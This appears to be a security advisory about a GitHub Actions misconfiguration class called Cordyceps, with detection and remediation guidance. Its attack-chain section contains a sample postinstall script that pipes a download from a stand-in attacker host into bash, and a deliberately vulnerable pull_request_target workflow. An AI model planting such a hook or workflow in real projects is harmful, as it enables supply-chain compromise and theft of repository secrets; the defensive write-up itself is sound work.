Researchers at Novee Security have disclosed a new class of CI/CD workflow vulnerability they have named Cordyceps — a critical exploitable pattern that can give attackers full control over GitHub Actions workflows, enabling compromise of open-source software supply chains at scale. Over 300 GitHub repositories have been confirmed as vulnerable, though researchers believe the actual number is significantly higher.
The Cordyceps vulnerability class — named after the parasitic fungus that takes over its host organism — works by exploiting misconfigurations in how GitHub Actions handles pull request events from forked repositories, allowing untrusted code to execute in a privileged context with access to repository secrets and write tokens.
What Is Cordyceps?
The Cordyceps pattern is a specific CI/CD workflow misconfiguration that combines several individually-documented risks into a reliably exploitable attack chain:
- Privileged trigger event — the workflow uses
pull_request_target, which runs with the base repository's permissions and secrets - Untrusted code checkout — the workflow checks out code from the pull request's head commit (attacker-controlled)
- Code execution in privileged context — build steps (
npm install,make,pip install) run the attacker's code with elevated permissions
The name "Cordyceps" captures the parasitic nature of the attack: the attacker's code — embedded in an innocent-looking pull request — takes over the pipeline's privileged execution environment.
Scope of the Vulnerability
Novee Security's analysis found:
- 300+ confirmed vulnerable repositories across major open-source ecosystems
- Affected projects include packages with millions of weekly downloads
- Vulnerable workflows found in projects from multiple Fortune 500 technology companies
- The pattern is present across JavaScript, Python, Go, and Rust ecosystems
Researchers noted that the 300+ figure represents only repositories where exploitation has been verified as straightforward. The underlying misconfiguration pattern is estimated to exist in a far larger population.
Attack Chain Breakdown
Phase 1: Reconnaissance
An attacker identifies a target repository that uses pull_request_target by scanning public GitHub Actions workflow files:
# Attackers can enumerate vulnerable repos via GitHub's code search API
# searching for the dangerous workflow pattern
gh search code "pull_request_target" --extension=ymlPhase 2: Payload Delivery
The attacker forks the target repository and opens a pull request containing a modified package.json or build script:
{
"name": "target-package",
"scripts": {
"postinstall": "curl -s https://attacker.example/exfil | bash"
}
}Phase 3: Privileged Execution
When the vulnerable workflow runs in response to the pull request:
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install # Executes attacker postinstall scriptThe npm install command executes the attacker's postinstall script with access to:
GITHUB_TOKEN(write permissions to the base repository)- All repository and organization secrets exposed to the workflow
- The runner's filesystem, environment, and network
Phase 4: Exfiltration and Persistence
With access to the GITHUB_TOKEN, the attacker can:
- Push malicious commits to the base repository
- Modify published releases
- Create new workflow files to establish persistence
- Access other repositories in the same GitHub organization
Why This Pattern Is So Common
Novee Security researchers attribute the widespread adoption of the vulnerable pattern to a combination of factors:
Documentation confusion: GitHub's documentation for pull_request_target includes legitimate use cases (such as labeling PRs) that have been adopted as templates for build workflows where they are inappropriate.
Security-feature misunderstanding: Many developers believe that GitHub's "Require approval for first-time contributors" setting provides complete protection. In practice, this setting only applies to accounts with no prior commits to any public repository — a condition easily bypassed.
Copy-paste propagation: Vulnerable workflow patterns copied from Stack Overflow, GitHub gist repositories, and official example repositories have propagated the misconfiguration across thousands of projects.
| Common Misconception | Reality |
|---|---|
| "Protected branches prevent exploitation" | Branch protection has no effect on workflow privilege level |
| "PR review required = safe to execute PR code" | Review is for the code diff, not a security boundary for CI execution |
| "Secrets are masked in logs so they're safe" | Masked secrets can still be exfiltrated via curl to external endpoints |
| "First-time contributor approval is sufficient" | Easily bypassed by any account with prior GitHub activity |
Affected Ecosystem Breakdown
The Cordyceps pattern has been found across multiple language ecosystems:
JavaScript/npm: ~180 confirmed vulnerable repositories
Python/PyPI: ~70 confirmed vulnerable repositories
Go/pkg.go.dev: ~35 confirmed vulnerable repositories
Rust/crates.io: ~15 confirmed vulnerable repositories
Other: ~10 confirmed vulnerable repositories
The JavaScript ecosystem shows the highest concentration of vulnerable repositories, which researchers attribute to the npm install step being particularly useful for attackers due to the postinstall script mechanism.
Detection
Automated Detection
Security teams can audit their CI/CD configurations programmatically:
#!/bin/bash
# Scan for Cordyceps-vulnerable patterns in GitHub Actions workflows
# Find all workflow files using pull_request_target
grep -rl "pull_request_target" .github/workflows/
# For each, check if they also checkout PR head code
for f in $(grep -rl "pull_request_target" .github/workflows/); do
if grep -q "head.sha\|head.ref\|PR_HEAD" "$f"; then
echo "POTENTIALLY VULNERABLE: $f"
fi
doneManual Review Checklist
For each workflow using pull_request_target, verify:
- Does the workflow check out code from
github.event.pull_request.head.sha? - Does the workflow run
npm install,pip install,make, or similar? - Are secrets exposed in the same job that executes PR code?
- Is the workflow missing the "require approval" gate for external contributors?
If any of the first three boxes are checked, the workflow is potentially vulnerable to Cordyceps.
Remediation
Immediate Fix
Separate privileged operations from PR code execution:
# SAFE: Use pull_request (unprivileged) for build and test
on:
pull_request:
jobs:
build-and-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci
- run: npm test
# No secrets needed, no elevated permissions
---
# SEPARATE workflow for privileged operations (deploy, publish)
# Only triggered after merge to main, never from PR events
on:
push:
branches: [main]
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm publish
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}GitHub Repository Settings
- Navigate to Settings > Actions > General
- Under "Fork pull request workflows from outside collaborators":
- Select "Require approval for all outside collaborators"
- Enable "Allow GitHub Actions to create and approve pull requests" — then immediately restrict which workflows can do so
Responsible Disclosure
Novee Security followed responsible disclosure practices:
- Notified affected maintainers prior to public disclosure
- Coordinated with GitHub's security team
- Provided remediation guidance to confirmed vulnerable projects
GitHub has updated its documentation to provide clearer guidance on the pull_request_target risk. Patches and workflow updates for the confirmed 300+ repositories are being coordinated through the disclosure process.